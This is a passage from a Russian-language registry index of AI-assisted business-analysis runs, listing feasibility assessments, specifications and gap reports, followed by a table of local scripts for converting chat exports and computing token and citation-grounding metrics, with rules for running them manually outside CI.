[`outputs/L3-technical-spike-notes.md`](2026/RUN-0056/output\\n| [`RUN-0057`](2026/RUN-0057/metadata.yaml) | 2026-08-25 | `execution` | feasibility-assessment-tender-tz-stt-tts-nlu-dialogue-manager | [`outputs/README.md`](2026/RUN-0057/outputs/README.md), [`outputs/L0-customer-form-with-assessment.md`](2026/RUN-0057/outputs/L0-customer-form-with-assessment.md), [`outputs/L1-executive-summary.md`](2026/RUN-0057/outputs/L1-executive-summary.md), [`outputs/L2-fe\\n| [`RUN-0058`](2026/RUN-0058/metadata.yaml) | 2026-08-26 | `execution` | re-evaluation-hh-chat-api-feasibility | [`outputs/README.md`](2026/RUN-0058/outputs/README.md), [`outputs/L1-executive-summary.md`](2026/RUN-0058/outputs/L1-executive-summary.md), [`outputs/L2-gap-matrix.md`](2026/RUN-0058/outputs/L2-gap-matrix.md), [`outputs/L3-integration-architecture-notes.md`](2026/RUN-0058/outputs/L3-int\\n| [`RUN-0059`](2026/RUN-0059/metadata.yaml) | 2026-08-26 | `execution` | architecture-spike-hh-chats-mango-cc-data-mapping | [`outputs/README.md`](2026/RUN-0059/outputs/README.md), [`outputs/architecture-spike.md`](2026/RUN-0059/outputs/architecture-spike.md), [`logs/source-availability.md`](2026/RUN-0059/logs/source-availability.md), [`logs/role-change-ba-to-sa.md`](2026/RUN-0059/logs/role-change\\n| [`RUN-0060`](2026/RUN-0060/metadata.yaml) | 2026-08-27 | `execution` | combined-l4-gap-report-hh-chats-mango-cc | [`outputs/README.md`](2026/RUN-0060/outputs/README.md), [`outputs/L4-combined-gap-report.md`](2026/RUN-0060/outputs/L4-combined-gap-report.md), [`outputs/hh-api-source-index.md`](2026/RUN-0060/outputs/hh-api-source-index.md), [`logs/source-availability.md`](2026/RUN-0060/logs/source-\\n| [`RUN-0061`](2026/RUN-0061/metadata.yaml) | 2026-08-28 | `statistics` | task-1090-human-review-of-twin-links | [`outputs/README.md`](2026/RUN-0061/outputs/README.md), [`outputs/link-review-statistics.md`](2026/RUN-0061/outputs/link-review-statistics.md), [`outputs/link-reference-contract-draft.md`](2026/RUN-0061/outputs/link-reference-contract-draft.md), [`outputs/prompt-usage.md`](2026/RUN-0061\\n| [`RUN-0062`](2026/RUN-0062/metadata.yaml) | 2026-09-01 | `execution` | feasibility-assessment-tender-appendices-5-7 (full-KB corrective reassessment) | [`outputs/README.md`](2026/RUN-0062/outputs/README.md), [`outputs/L0-customer-form-with-assessment.md`](2026/RUN-0062/outputs/L0-customer-form-with-assessment.md), [`logs/experiment-log.md`](2026/RUN-0062/logs/experiment-log.md), [`feedback/revie\\n| [`RUN-0063`](2026/RUN-0063/metadata.yaml) | 2026-08-31 | `execution` | feature-specification-bcreq-1074-communication-expenses-report (\u043d\u0435\u0432\u0430\u043b\u0438\u0434\u0435\u043d, \u0437\u0430\u043c\u0435\u043d\u0435\u043d RUN-0067) | [`outputs/README.md`](2026/RUN-0063/outputs/README.md), [`outputs/functional-requirements-bcreq-1074.md`](2026/RUN-0063/outputs/functional-requirements-bcreq-1074.md), [`logs/source-and-gate-log.md`](2026/RUN-0063/lo\\n| [`RUN-0064`](2026/RUN-0064/metadata.yaml) | 2026-08-31 | `execution` | error-analysis-and-feature-specification-bcreq-1074-report-view | [`outputs/README.md`](2026/RUN-0064/outputs/README.md), [`outputs/functional-requirements.md`](2026/RUN-0064/outputs/functional-requirements.md), [`reports/error-analysis.md`](2026/RUN-0064/reports/error-analysis.md), [`logs/traceability-and-gates.md`](2026/RUN\\n| [`RUN-0065`](2026/RUN-0065/metadata.yaml) | 2026-09-01 | `execution` | feasibility-assessment-telephony-requirements-task-1099 (six-column corrective rewrite) | [`outputs/README.md`](2026/RUN-0065/outputs/README.md), [`outputs/L0-customer-form-with-assessment.md`](2026/RUN-0065/outputs/L0-customer-form-with-assessment.md), [`logs/technical-audit.md`](2026/RUN-0065/logs/technical-audit.md), [`fee\\n| [`RUN-0066`](2026/RUN-0066/metadata.yaml) | 2026-09-01 | `execution` | feasibility-assessment-telephony-requirements-task-1099 (rerun by claude-opus-5, A/B vs RUN-0065) | [`outputs/README.md`](2026/RUN-0066/outputs/README.md), [`outputs/L0-feasibility-assessment-1099-2.md`](2026/RUN-0066/outputs/L0-feasibility-assessment-1099-2.md), [`logs/technical-audit.md`](2026/RUN-0066/logs/technical-audit.\\n| [`RUN-0067`](2026/RUN-0067/metadata.yaml) | 2026-09-03 | `execution` | feature-specification-bcreq-1074-detailed-export (rework of RUN-0063 by audit) | [`outputs/README.md`](2026/RUN-0067/outputs/README.md), [`outputs/functional-requirements-bcreq-1074.md`](2026/RUN-0067/outputs/functional-requirements-bcreq-1074.md), [`logs/audit-traceability-and-gates.md`](2026/RUN-0067/logs/audit-traceability\\n| [`RUN-0068`](2026/RUN-0068/metadata.yaml) | 2026-09-28 | `execution` | feasibility-assessment-tender-bcreq-1114-pstn-mobile-access | [`outputs/README.md`](2026/RUN-0068/outputs/README.md), [`outputs/L0-feasibility-assessment-1114.md`](2026/RUN-0068/outputs/L0-feasibility-assessment-1114.md), [`logs/experiment-log.md`](2026/RUN-0068/logs/experiment-log.md), [`feedback/review-notes.md`](2026/RUN-0\\n| [`RUN-0069`](2026/RUN-0069/metadata.yaml) | 2026-09-28 | `execution` | feasibility-assessment-tz-bcreq-1114v2-speech-analytics-ai | [`outputs/README.md`](2026/RUN-0069/outputs/README.md), [`outputs/L0-feasibility-assessment-1114-2.md`](2026/RUN-0069/outputs/L0-feasibility-assessment-1114-2.md), [`logs/experiment-log.md`](2026/RUN-0069/logs/experiment-log.md), [`feedback/review-notes.md`](2026/RU\\n\\n## \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438\\n\\n\u0427\u0430\u0441\u0442\u044c \u0432\u0445\u043e\u0434\u043e\u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0447\u0430\u0442\u0430 \u0432 JSON) \u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0433\u043b\u0430\u0437\u0430\u043c\u0438\\n\u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0432 markdown \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c. \u0422\u0430\u043a\u0438\u0435 \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0435\u0440\u044b \u2014 **\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430**:\\n\\n| \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 | \u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| [`scripts/chat_export_to_markdown.py`](../scripts/chat_export_to_markdown.py) | \u0420\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0447\u0430\u0442\u0430 (JSON) \u0432 \u043b\u0438\u043d\u0435\u0439\u043d\u044b\u0439 \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u043c\u0435\u0442\u0440\u0438\u043a \u043f\u043e \u0440\u0435\u043f\u043b\u0438\u043a\u0430\u043c. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0015`](2026/RUN-0015/inputs/README.md), [`RUN-0016`](2026/RUN-0016/inputs/README.md), [`RUN-0017`](2026/RUN-0017/inputs/README.md),\\n| [`scripts/chat_export_to_transcript.py`](../scripts/chat_export_to_transcript.py) | \u0420\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0447\u0430\u0442\u0430 (JSON) \u0432 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u043c\u0435\u0442\u0440\u0438\u043a \u043f\u043e \u0432\u044b\u0437\u043e\u0432\u0430\u043c \u043c\u043e\u0434\u0435\u043b\u0438 (\u043f\u043e\u043b\u044f `usage`). \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0019`](2026/RUN-0019/inputs/README.md). |\\n| [`experiments/chat_export_probe.py`](../experiments/chat_export_probe.py) | \u0420\u0430\u0437\u0432\u0435\u0434\u043e\u0447\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442: \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043d\u0435\u0437\u043d\u0430\u043a\u043e\u043c\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430 \u0447\u0430\u0442\u0430 \u043f\u0435\u0440\u0435\u0434 \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u0435\u0439. |\\n| [`experiments/parse_qwen_chat_export.py`](../experiments/parse_qwen_chat_export.py) | \u0421\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043a\u0435\u043d\u044b (`tiktoken:cl1\u2026e`), \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u043e \u044d\u043f\u0438\u0437\u043e\u0434\u0430\u043c \u0438\u0437 \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0438 \u0447\u0430\u0442\u0430 Qwen. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0018`](2026/RUN-0018/logs/metrics.md), [`RUN-0021`](2026/RUN-0021/logs/metrics.md) \u0438 [`RUN-0029`](2026/RUN-0029/logs/metr\\n| [`experiments/chat_export_usage_metrics.py`](../experiments/chat_export_usage_metrics.py) | \u0421\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043a\u0435\u043d\u044b \u043f\u043e \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u043f\u043e\u043b\u044f\u043c `usage` \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 (\u0431\u0435\u0437 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u043e\u043a\u0435\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u043c), \u043b\u0430\u0442\u0435\u043d\u0442\u043d\u043e\u0441\u0442\u0438 \u0438 \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u044d\u043f\u0438\u0437\u043e\u0434\u0430\u043c. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0028`](2026/RUN-0028/logs/metrics.md). |\\n| [`experiments/issue_309_run_stats.py`](../experiments/issue_309_run_stats.py) | \u0421\u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0443 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0443 \u0447\u0430\u0442\u0430: \u043e\u0431\u044a\u0451\u043c \u0434\u0438\u0430\u043b\u043e\u0433\u0430, \u0442\u043e\u043a\u0435\u043d\u044b \u0438\u0437 \u043f\u043e\u043b\u0435\u0439 `usage`, \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0411\u0410. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-003\\n| [`experiments/issue_309_fixate_runs.py`](../experiments/issue_309_fixate_runs.py) | \u041f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `runs/2026/RUN-0030`\u2014`RUN-0054` \u0438\u0437 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0438 \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0430 [`experiments/issue_309_manifest.json`](../experiments/issue_309_manifest.json) (\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u00ab\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 issue \u2194 \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, SHA-256, \u0441\u0441\u044b\u043b\u043a\u0438). |\\n| [`experiments/issue_313_extract_pdf_text.py`](../experiments/issue_313_extract_pdf_text.py) | \u0418\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0441\u043b\u043e\u0439 PDF \u043f\u043e\u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u043e (`pdfplumber`) \u0434\u043b\u044f \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0437\u0430\u0434\u0430\u0447\u0438. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0055`](2026/RUN-0055/inputs/README.md). |\\n| [`experiments/issue_319_extract_xls_requirements.py`](../experiments/issue_319_extract_xls_requirements.py) | \u0418\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0442\u0430\u0431\u043b\u0438\u0446 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 BIFF (`.xls`, \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 `xlrd`) \u0438 \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0440\u044b \u0438 \u0445\u044d\u0448\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0057`](2026/RUN-0057/inputs/README.md).\\n| [`experiments/issue_319_build_source_mirror.py`](../experiments/issue_319_build_source_mirror.py) | \u0413\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0444\u043e\u0440\u043c\u044b \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0438\u0437 `.xls` \u0441 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u043b\u043e\u043d\u043a\u043e\u0439 \u0430\u043d\u0430\u043b\u0438\u0437\u0430: \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u044b \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435\u043c \u043f\u043e \u0442\u043e\u0447\u043d\u043e\u043c\u0443 \u0442\u0435\u043a\u0441\u0442\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f (\u043a\u043b\\n| [`experiments/issue_319_requirements_statistics.py`](../experiments/issue_319_requirements_statistics.py) | \u0421\u0447\u0438\u0442\u0430\u0435\u0442 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0443 \u043f\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c \u0438\u0437 L0: \u043e\u0431\u044a\u0451\u043c, \u043c\u043e\u0434\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u043e\u0442\u0432\u0435\u0442\u044b \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430, \u043a\u0440\u043e\u0441\u0441-\u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f (\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e) \u0438 \u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043b\u0430\u0441\u0441\u044b R01\u2013R10 (\u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a\u0430\\n| [`experiments/issue_333_hh_api_source_index.py`](../experiments/issue_333_hh_api_source_index.py) | \u0421\u0442\u0440\u043e\u0438\u0442 \u0438\u043d\u0434\u0435\u043a\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 OpenAPI-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 hh.ru \u0441 \u043f\u0440\u044f\u043c\u044b\u043c\u0438 \u044f\u043a\u043e\u0440\u044f\u043c\u0438 \u0432 Redoc (`#tag//operation/`): \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 YAML \u0431\u0435\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442 \u043f\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u043c, \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 ma\\n| [`experiments/issue_336_link_audit.py`](../experiments/issue_336_link_audit.py) | \u0418\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u0441\u0442\u044c \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0432\u0438\u043a\u0438 twin: \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043a\u0435\u043d\u044b `[twin: \u2026]` \u0438 `[ROBOTFIL \u2026]`/`[SA \u2026]` \u0432 \u043e\u0442\u0447\u0451\u0442\u0435, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432\u0438\u043a\u0438 (\u0441 \u043a\u044d\u0448\u0435\u043c), \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0441 \u044f\u043a\u043e\u0440\u044f\u043c\u0438 \u0438 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441 \u0440\u0430\u0437\\n| [`experiments/issue_336_fixate_run.py`](../experiments/issue_336_fixate_run.py) | \u041f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0437\u0430\u043f\u0438\u0441\u0438 [`RUN-0061`](2026/RUN-0061/outputs/README.md) (`outputs/prompt-usage.md`, `logs/metrics.md`, `logs/link-verification.md`) \u0438\u0437 \u0437\u0430\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0438 \u0430\u0443\u0434\u0438\u0442\u0430 \u0441\u0441\u044b\u043b\u043e\u043a. |\\n| [`experiments/issue_339/generate_run.py`](../experiments/issue_339/generate_run.py) | \u0427\u0438\u0442\u0430\u0435\u0442 \u0442\u0440\u0438 BIFF-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f issue #339 \u0438 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u0448\u0435\u0441\u0442\u0438\u043a\u043e\u043b\u043e\u043d\u043e\u0447\u043d\u044b\u0439 L0 [`RUN-0062`](2026/RUN-0062/outputs/L0-customer-form-with-assessment.md), \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u044f \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0432\u0440\u0443\u0447\u043d\u0443\u044e. |\\n| [`experiments/parse_765_chat_export.py`](../experiments/parse_765_chat_export.py) | \u0421\u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u043e \u044d\u043f\u0438\u0437\u043e\u0434\u0430\u043c (\u0442\u043e\u043a\u0435\u043d\u044b \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430, \u0432\u0440\u0435\u043c\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438, \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f) \u0438\u0437 \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0438 \u0447\u0430\u0442\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 765. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0022`](2026/RUN-0022/logs/metrics.md). |\\n| [`experiments/parse_58093_chat_export.py`](../experiments/parse_58093_chat_export.py) | \u0421\u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u043e \u044d\u043f\u0438\u0437\u043e\u0434\u0430\u043c (\u0442\u043e\u043a\u0435\u043d\u044b \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430, \u0432\u0440\u0435\u043c\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438, \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f) \u0438\u0437 \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0438 \u0447\u0430\u0442\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 58093. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0016`](2026/RUN-0016/logs/metrics.md). |\\n| [`experiments/okdesk_citation_grounding_probe.py`](../experiments/okdesk_citation_grounding_probe.py) | \u0418\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432\u0435\u0431-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 (`content_list[*].extra.tool_result`) \u0438\u0437 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430 \u0447\u0430\u0442\u0430 \u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0437\u0435\u043c\u043b\u0435\u043d\u0438\u044f \u0441\u043d\u043e\u0441\u043e\u043a. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\\n| [`experiments/amocrm_widget_grounding_probe.py`](../experiments/amocrm_widget_grounding_probe.py) | \u041f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u043e\u0432\u043e\u0439 \u0432\u044b\u0434\u0430\u0447\u0438 (`[[N]]`), \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446 (`extract_page_success`) \u0438 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432 \u0438\u0437 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430 \u0447\u0430\u0442\u0430 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0437\u0435\\n| [`experiments/signature_citation_grounding_probe.py`](../experiments/signature_citation_grounding_probe.py) | \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0437\u0430\u0437\u0435\u043c\u043b\u0435\u043d\u0438\u0435 \u0441\u043d\u043e\u0441\u043e\u043a \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u041d\u0424\u0422 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u0443\u044e \u0432\u044b\u0434\u0430\u0447\u0443 \u0432\u0435\u0431-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 (`web_search`, `web_extractor`) \u0438\u0437 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430 \u0447\u0430\u0442\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 978. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 [`RUN-0027`](202\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0441 \u043d\u0438\u043c\u0438:\\n\\n- \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f **\u0432\u0440\u0443\u0447\u043d\u0443\u044e**, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e, \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0432\u0438\u0434\u0430\\n  `python3 scripts/chat_export_to_markdown.py  ...`;\\n- **\u043d\u0435** \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0438\u0437 GitHub Actions \u0438 \u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 CI, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n  \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u043c\u0438 \u043f\u0440\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 Actions (\u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0432 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438);\\n- \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Python 3 \u2014 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0435\u0442;\\n- \u043f\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u0443 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b [`scripts/sync_from_hub.py`](../scripts/sync_from_hub.py)\\n  \u0438 [`scripts/generate-pages-data.mjs`](../scripts/generate-pages-data.mjs):\\n  \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 